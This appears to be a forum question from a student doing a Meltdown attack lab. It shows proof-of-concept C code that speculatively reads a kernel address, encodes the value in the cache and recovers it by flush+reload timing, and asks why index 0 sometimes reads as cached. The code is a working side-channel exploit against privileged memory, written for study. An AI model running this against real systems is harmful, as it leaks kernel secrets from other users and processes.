I am doing the Meltdown attack lab using Ubuntu 16.04 32-bit, and an old CPU (Intel i5 7th Gen). There is a secret value 83 stored in 0xfbce3000
by a kernel module, the user program cannot directly access its value
This is the core code of the attack
char data = 99;
data = *(char*) 0xfbce3000; // this will not pass the privilege check, there will be an exception, but due to out-of-order execution in some CPUs, a few instructions after this will be executed, if the privilege check fails, the effect of those instructions will be removed, but the CPU cache will not be removed, so we can use it as a side channel
array[data * 4096 + 1024] += 1; // make array[data * 4096 + 1024] to be put in the CPU cache
I measured the time for accessing array[i * 4096 + 1024]
, and looked for the one whose accessing time was smaller than 100 CPU cycles (this threshold is based on previous experiment, on my computer, accessing data from CPU cache will need 30-80 CPU cycles, while accessing data from main memory will need more than 200).
I ran the program for 1000 times, sometimes, only array[0* 4096 + 1024]
was in the cache. Since neither of the initial value of data or the secret value is 0, I am wondering why array[0* 4096 + 1024]
is in the cache
The value of data
has never been to zero, but sometimes array[0* 4096 + 1024]
is in the CPU cache, I don't know where this 0
comes from.
Here is a more detailed code
# define DELTA 1024
// this is used to handle the exception, so that the program will not crash when the privilege check fails
static sigjmp_buf jbuf;
static void catch_segv() {
siglongjmp(jbuf, 1);
}
int main() {
// Register a signal handler
signal(SIGSEGV, catch_segv);
int i;
// Write to array to bring it to RAM to prevent Copy-on-write
for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
//flush the values of the array from cache
for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 + DELTA]);
if(sigsetjmp(jbuf, 1) == 0) {
char data = 99;
data = *(char*) 0xfbce3000;
array[data * 4096 + 1024] += 1;
}
else {
printf("Memory access violation!\n");
}
// reload array[i * 4096 + 1024] and measure the accessing time
int junk=0;
register uint64_t time1, time2;
volatile uint8_t *addr;
int i;
for(i = 0; i < 256; i++){
addr = &array[i*4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 <= 100){
printf("array[%d*4096 + %d] is in cache.\n",i,DELTA);
printf("The Secret = %d.\n",i);
}
}
return 0;
}